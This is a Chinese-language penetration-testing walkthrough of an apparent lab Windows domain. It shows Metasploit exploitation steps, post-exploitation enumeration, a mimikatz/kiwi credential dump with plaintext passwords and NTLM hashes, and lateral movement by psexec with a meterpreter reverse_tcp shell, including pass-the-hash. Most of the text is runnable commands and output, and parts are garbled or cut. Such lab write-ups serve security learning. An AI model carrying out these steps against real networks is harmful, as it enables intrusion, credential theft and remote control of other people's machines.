PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127
二、永恒之蓝
看到 445 端口开着，条件反射去看看有没有存在永恒之蓝漏洞。
在 nmap 的脚本目录下找到对应检测脚本：
┌──(penv)─(zyf㉿kali)-[/usr/share/nmap/scripts] └─$ ls | grep ms17-010 smb-vuln-ms17-010.nse
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH trueyes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET trueyes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/gather/dns_srv_lookup . normal No Multi Gather DNS Service Record Lookup Scan 1 post/windows/gather/enum_ad_to_wordlist . normal No Windows Active Directory Wordlist Builder 2 post/windows/gather/enum_ad_bitlocker . normal No Windows Gather Active Directory BitLocker Recovery 3 post/windows/gather/enum_ad_computers . normal No Windows Gather Active Directory Computers 4 post/windows/gather/enum_ad_groups . normal No Windows Gather Active Directory Groups 5 post/windows/gather/enum_ad_managedby_groups . normal No Windows Gather Active Directory Managed Groups 6 post/windows/gather/enum_ad_service_principal_names . normal No Windows Gather Active Directory Service Principal Names 7 post/windows/gather/enum_ad_user_comments . normal No Windows Gather Active Directory User Comments 8 post/windows/gather/enum_ad_users . normal No Windows Gather Active Directory Users 9 post/windows/gather/credentials/enum_cred_store . normal No Windows Gather Credential Store Enumeration and Decryption Module 10 post/windows/gather/enum_domains . normal No Windows Gather Domain Enumeration 11 post/windows/gather/enum_domain_users . normal No Windows Gather Enumerate Active Domain Users 12 post/windows/gather/enum_computers . normal No Windows Gather Enumerate Computers 13 post/windows/gather/enum_domain . normal No Windows Gather Enumerate Domain 14 post/windows/gather/enum_tokens . normal No Windows Gather Enumerate Domain Admin Tokens (Token Hunter) 15 post/windows/gather/enum_domain_group_users . normal No Windows Gather Enumerate Domain Group 16 post/windows/gather/enum_domain_tokens . normal No Windows Gather Enumerate Domain Tokens 17 post/windows/gather/credentials/gpp . normal No Windows Gather Group Policy Preference Saved Passwords 18 post/windows/gather/credentials/imail . normal No Windows Gather IPSwitch iMail User Data Enumeration 19 post/windows/gather/local_admin_search_enum . normal No Windows Gather Local Admin Search
通过 Description 可以锁定到：
10 post/windows/gather/enum_domains . normal No Windows Gather Domain Enumeration 13 post/windows/gather/enum_domain . normal No Windows Gather Enumerate Domain
通过 info 命令查看：
msf6 exploit(windows/smb/ms17_010_eternalblue) > info post/windows/gather/enum_domain
Name: Windows Gather Enumerate Domain Module: post/windows/gather/enum_domain Platform: Windows Arch: Rank: Normal
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
抓凭据：
# 加载 kiwi 模块（内置 mimikatz） meterpreter > load kiwi
# 抓取所有凭证（明文+Hash） meterpreter > creds_all
输出：
meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success. meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials ===============
Username Domain LM NTLM SHA1 -------- ------ -- ---- ---- Administrator GOD d29aa94631a1dca1aad3b435b51404ee 933a9b5b44dab4530d86d83a6b47b7d1 c3e55f8634feec6635faef5eba3b04a9b08e5ed9 STU1$ GOD c8175d606297e4f2feebbbda926cd9f7 b328ba45ca1570739b04ba3cb235a5ce245dd30f
wdigest credentials ===================
Username Domain Password -------- ------ -------- (null) (null) (null) Administrator GOD qwe@123 STU1$ GOD 23 92 0a b9 c4 88 e1 9f cd be cf fb 83 cf 00 cc 56 13 7e 22 f0 79 50 60 32 c5 97 97 02 7e 29 fc 0a 5f 50 b0 6e bf 17 40 8c 50 a7 75 c1 68 f1 ec 4c 3c b3 ca d4 87 d7 48 54 b3 02 56 a0 6e 68 17 86 42 34 40 35 41 79 d6 41 11 4c e5 57 dc 2c 93 08 d3 51 3a 40 c4 26 7c 69 2d bb c0 f4 28 1e 37 9d c2 40 2f aa 22 e9 ff 9a 21 f6 9f 56 a6 35 3d ae a1 10 38 a7 33 70 3c b1 6e 2c 60 3d 20 fc 5b 67 e2 21 4c 8b 67 18 da be d0 10 c2 27 0c d2 fa 05 28 eb 4b b9 fa 58 18 fa 97 f9 d6 9f ae f6 7e 4a 6c 2d 9d f3 6e a5 c1 d3 66 73 22 39 df c5 57 ed 10 02 24 74 77 9e 9f ea 56 8f 95 46 f9 0a 05 17 51 62 8d 40 15 1d b6 f7 b6 43 d6 3e 38 2d 4f 46 f9 ef 5f d2 c2 dc 39 d7 f7 06 25 87 3e 43 bc e1 cd 5e 2b 26 38 c7 af 28 e6 2f 41 e9 a7 f3 7a
tspkg credentials =================
Username Domain Password -------- ------ -------- Administrator GOD qwe@123
kerberos credentials ====================
Username Domain Password -------- ------ -------- (null) (null) (null) Administrator GOD.ORG qwe@123 stu1$ GOD.ORG 23 92 0a b9 c4 88 e1 9f cd be cf fb 83 cf 00 cc 56 13 7e 22 f0 79 50 60 32 c5 97 97 02 7e 29 fc 0a 5f 50 b0 6e bf 17 40 8c 50 a7 75 c1 68 f1 ec 4c 3c b3 ca d4 87 d7 48 54 b3 02 56 a0 6e 68 17 86 42 34 40 35 41 79 d6 41 11 4c e5 57 dc 2c 93 08 d3 51 3a 40 c4 26 7c 69 2d bb c0 f4 28 1e 37 9d c2 40 2f aa 22 e9 ff 9a 21 f6 9f 56 a6 35 3d ae a1 10 38 a7 33 70 3c b1 6e 2c 60 3d 20 fc 5b 67 e2 21 4c 8b 67 18 da be d0 10 c2 27 0c d2 fa 05 28 eb 4b b9 fa 58 18 fa 97 f9 d6 9f ae f6 7e 4a 6c 2d 9d f3 6e a5 c1 d3 66 73 22 39 df c5 57 ed 10 02 24 74 77 9e 9f ea 56 8f 95 46 f9 0a 05 17 51 62 8d 40 15 1d b6 f7 b6 43 d6 3e 38 2d 4f 46 f9 ef 5f d2 c2 dc 39 d7 f7 06 25 87 3e 43 bc e1 cd 5e 2b 26 38 c7 af 28 e6 2f 41 e9 a7 f3 7a
查看域管理员组的成员：
meterpreter > run post/windows/gather/enum_domain_group_users GROUP="Domain Admns" [*] Running module against STU1 (192.168.111.20) [*] Found 2 usersin'god.org\Domain Admins' group. [*] GOD\Administrator [*] GOD\OWA$ [*] Current session running as god.org\SYSTEM is not a member of god.org\Domain Admins
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/portscan/ftpbounce . normal No FTP Bounce Port Scanner 1 auxiliary/scanner/natpmp/natpmp_portscan . normal No NAT-PMP External Port Scanner 2 auxiliary/scanner/sap/sap_router_portscanner . normal No SAPRouter Port Scanner 3 auxiliary/scanner/portscan/xmas . normal No TCP "XMas" Port Scanner 4 auxiliary/scanner/portscan/ack . normal No TCP ACK Firewall Scanner 5 auxiliary/scanner/portscan/tcp . normal No TCP Port Scanner 6 auxiliary/scanner/portscan/syn . normal No TCP SYN Port Scanner 7 auxiliary/scanner/http/wordpress_pingback_access . normal No Wordpress Pingback Locator
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access
选择 tcp 扫描：
msf6 auxiliary(scanner/portscan/syn) > use 5
大家这里可以选择 syn 扫描，我这是因为开 msfconsole 的时候并不是 root 权限，导致无法使用（尴尬）。
由于 tcp扫描比较慢，我这直接扫关键的：
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 3389,445 PORTS => 3389,445 msf6 auxiliary(scanner/portscan/tcp) > run [+] 192.168.52.138: - 192.168.52.138:445 - TCP OPEN [*] 192.168.52.138: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
3389 没有开，因此用不了远程桌面，但是 smb 服务开着，使用对应的模块连接：
msf6 auxiliary(scanner/portscan/tcp) > use exploit/windows/smb/psexec [*] Using configured payload windows/x64/meterpreter/reverse_tcp [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.52.138 RHOSTS => 192.168.52.138 msf6 exploit(windows/smb/psexec) > set SMBUser Administrator SMBUser => Administrator msf6 exploit(windows/smb/psexec) > set SMBPass qwe@123 SMBPass => qwe@123 msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_cp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set LHOST 192.168.52.143 LHOST => 192.168.52.143 msf6 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 192.168.52.143:4444 via the meterpreter on session 4 [*] 192.168.52.138:445 - Connecting to the server... [*] 192.168.52.138:445 - Authenticating to 192.168.52.138:445 as user 'Administrator'... [*] 192.168.52.138:445 - Selecting PowerShell target [*] 192.168.52.138:445 - Executing the payload... [+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (203846 bytes) to 192.168.52.138 [*] Meterpreter session 5 opened (192.168.52.138:4444 -> 192.168.52.138:55687 via session 4) at 2026-03-27 15:32:59 +0800
Username Domain LM NTLM SHA1 -------- ------ -- ---- ---- Administrator GOD d29aa94631a1dca1aad3b435b51404ee 933a9b5b44dab4530d86d83a6b47b7d1 c3e55f8634feec6635faef5eba3b04a9b08e5ed9 STU1$ GOD c8175d606297e4f2feebbbda926cd9f7 b328ba45ca1570739b04ba3cb235a5ce245dd30f
不需要明文密码，直接用 NTLM Hash 进行登入也是可以的：
msf6 auxiliary(scanner/portscan/tcp) > use exploit/windows/smb/psexec [*] Using configured payload windows/x64/meterpreter/reverse_tcp [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf6 exploit(windows/smb/psexec) > set SMBUser Administrator SMBUser => Administrator msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee933a9b5b44dab4530d86d83a6b47b7d1 SMBPass => aad3b435b51404eeaad3b435b51404ee:933a9b5b44dab4530d86d83a6b47b7d1 msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.52.138 RHOSTS => 192.168.52.138 msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description ---- --------------- -------- ----------- SERVICE_DESCRIPTION no Service description to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description ---- --------------- -------- ----------- SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.52.138 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 445 no The target port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass aad3b435b51404eeaad3b435b51404ee:933a9b5b44dab4530d86d83a6b47b7d1 no The password for the specified username SMBUser Administrator no The username to authenticate as
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.52.143 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 192.168.52.143:4444 via the meterpreter on session 4 [*] 192.168.52.138:445 - Connecting to the server... [*] 192.168.52.138:445 - Authenticating to 192.168.52.138:445 as user 'Administrator'... [*] 192.168.52.138:445 - Selecting PowerShell target [*] 192.168.52.138:445 - Executing the payload... [+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (203846 bytes) to 192.168.52.138 [*] Meterpreter session 6 opened (192.168.52.138:4444 -> 192.168.52.138:55770 via session 4) at 2026-03-27 16:04:02 +0800
